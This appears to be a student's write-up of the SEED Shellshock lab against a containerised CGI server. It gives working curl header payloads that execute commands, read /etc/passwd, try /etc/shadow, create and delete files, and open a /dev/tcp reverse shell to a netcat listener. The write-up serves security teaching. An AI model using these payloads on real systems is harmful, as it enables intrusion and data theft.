Shellshock Attack Lab

Lab Setup:

1. Add the web server container's:
   `sudo gedit /etc/hosts`
   `10.9.0.80 www.seedlab-shellshock.com`

2. Use the `docker-compose.yml` file to set up the lab environment.

Task 1: Experimenting with Bash Function

Define a vulnerable shell function in the environment and observe the difference in behavior between a vulnerable version of Bash `/bin/bash_shellshock` and a patched version `/bin/bash`.

`foo='() { :; }; echo "extra";' //function with no-op, then echoes "extra"`

```
[12/28/24]seed@VM:~/.../image_www$ foo='() { :; }; echo "extra";'
[12/28/24]seed@VM:~/.../image_www$ export foo
[12/28/24]seed@VM:~/.../image_www$ ./bash_shellshock
extra
[12/28/24]seed@VM:~/.../image_www$ /bin/bash
```

Vulnerable Bash (`bash_shellshock`): The Shellshock vulnerability allows Bash to execute arbitrary code (in this case, the echo "extra") from environment variables.

Patched Bash (`/bin/bash`): The patch prevents this kind of execution, so Bash does not execute the code inside environment variables.

Shellshock Attack Lab

Task 2: Passing Data to Bash via Environment Variable

1. Use `curl http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi` to access the CGI program that prints out all its environment variables.
2. Open the program from the web and turn on the **HTTP Header Live extension** on your browser to capture the HTTP request and compare the request with the environment variables printed out.
3. Use the command `curl` with options that allow users to control most fields in HTTP requests.

- `curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi`
  -v displays detailed request/response information for debugging

- `curl -A "CustomAgent" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi`
  -A to Modify User-Agent header and it affects the HTTP_USER_AGENT variable

- `curl -e "http://example.com" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi`
  -e to Modify Referer header and it affects the HTTP_REFERER variable

- `curl -H "Custom-Header: CustomValue" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi`
  -H to add custom headers and it affects the HTTP_CUSTOM_HEADER

```
[12/27/24]seed@VM:~/lab10$ curl -A "CustomAgent" -e "http://exampl
e.com" -H "Custom-Header: CustomValue" http://www.seedlab-shellsho
ck.com/cgi-bin/getenv.cgi
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=CustomAgent
HTTP_ACCEPT=*/*
HTTP_REFERER=http://example.com
HTTP_CUSTOM_HEADER=CustomValue
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Shellshock Attack Lab

Task 3: Launching the Shellshock Attack

Your job is to launch the attack through the URL http://www.seedlab-shellshock.com/cgi-bin/vul.cgi, so you can get the server to run an arbitrary command.

If your command has a plain-text output, and you want the output returned to you, your output needs to follow a protocol: start with `Content_type: text/plain`, followed by an empty line, and then you can place your plain-text output.

```
curl -A "() { :; }; echo Content_type: text/plain; echo; /bin/ls -l" -v
www.seedlab-shellshock.com/cgi-bin/vul.cgi
```

- The `:` is a **no-op** (no operation) command in Bash.
- You could use something like `() { echo "Hello"; }; echo Content_type ...`
- Bash thinks that `() { :; };` is a function definition, but instead of stopping there, it executes everything after the function definition.
- Also, you can do this with any of the `curl` options:
- `curl -H "Custom-Header: () { :; }; echo Content_type: text/plain; echo; /bin/ls -l" -v www.seedlab-shellshock.com/cgi-bin/vul.cgi`

```
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: () { :; }; echo Content_type: text/plain; echo; /bin/ls -l
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 27 Dec 2024 23:27:23 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
total 8
-rwxr-xr-x 1 root root 130 Dec  5  2020 getenv.cgi
-rwxr-xr-x 1 root root  85 Dec  5  2020 vul.cgi
* Connection #0 to host www.seedlab-shellshock.com left intact
```

In this task, please use **three different approaches (i.e., three different HTTP header fields)** to launch the Shellshock attack against the target CGI program:

1. **Task 3.A:** Get the server to send back the content of the /etc/passwd file.

```
curl -A "() { :; }; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"
-v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

The `cat` command requires the full path `/bin/cat` in the CGI environment because the server's `PATH` variable may not include directories where common commands like `cat` are located.

Shellshock Attack Lab

2. **Task 3.B:** Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information.

```
curl -H "Custom-Header: () { :; }; echo Content_type: text/plain; echo; /bin/id" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

But on the web container: (root privileges)

```
root@73dbb7d32fe8:/# /bin/id
uid=0(root) gid=0(root) groups=0(root)
```

3. **Task 3.C:** Get the server to create a file inside the /tmp folder. You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder.

```
curl -A "() { :; }; echo Content_type: text/plain; echo; /bin/touch /tmp/file.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

To check that it's created (using another shellshock attack):

```
curl -A "() { :; }; echo Content_type: text/plain; echo; /bin/ls -l /tmp/file.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Or check directly on the web container:

```
root@73dbb7d32fe8:/# ls -l /tmp/file.txt
-rw-r--r-- 1 www-data www-data 0 Dec 27 23:51 /tmp/file.txt
```

4. **Task 3.D:** Get the server to delete the file that you just created inside the /tmp folder.

```
curl -e "() { :; }; echo Content_type: text/plain; echo; /bin/rm /tmp/file.txt" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

- **Will you be able to steal the content of the shadow file /etc/shadow from the server? Why or why not? The information obtained in Task 3.B should give you a clue.**

```
curl -A "() { :; }; echo Content-type: text/plain; echo; /bin/cat /etc/shadow;" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

Because /etc/shadow is only readable to **root**, I cannot steal the content of the file unless the webserver is launched by root.

- **HTTP GET requests typically attach data in the URL, after the ? mark. This could be another approach that we can use to launch the attack?**

```
curl http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?;echo /bin/id
```

No, it doesn't actually work.

Shellshock Attack Lab

Task 4: Getting a Reverse Shell via Shellshock Attack

- In one shell, listen on port 9090:
  `nc -l 9090`

- In another shell:

```
curl -A "() { :; }; echo Content_type: text/plain; echo; /bin/bash -i >
/dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
```

You can find the ip used in `/dev/tcp/10.0.2.15` from your machine by using the command `ifconfig`, and look for the ip next to **enp0s3**.

```
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::7d6d:c46d:8ef9:6d16  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:86:40:e4  txqueuelen 1000  (Ethernet)
        RX packets 4550  bytes 3398430 (3.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3127  bytes 354967 (354.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

While http://10.9.0.80/cgi-bin/vul.cgi is the same as the domain name for the web http://www.seedlab-shellshock.com/cgi-bin/vul.cgi, I think both work just fine, the IP-based access is just a more direct and reliable fallback in case there are network isolation issues.

And here we can see the shell attack worked:

```
[12/28/24]seed@VM:~/lab10$ nc -l 9090
bash: cannot set terminal process group (36): Inappropriate ioctl for
device
bash: no job control in this shell
www-data@73dbb7d32fe8:/usr/lib/cgi-bin$ whoami
whoami
www-data
```

Shellshock Attack Lab

Task 5: Using the Patched Bash

Now, let us use a bash program that has already been patched (`/bin/bash`).

Please change the first line of the CGI programs from `#!/bin/bash_shellshock` to `#!/bin/bash`.

*vul.cgi
~/lab10/image_www

```
#!/bin/bash

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

*getenv.cgi
~/lab10/image_www

```
#!/bin/bash

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

Redo task 3 now and see if it works? (it doesn't).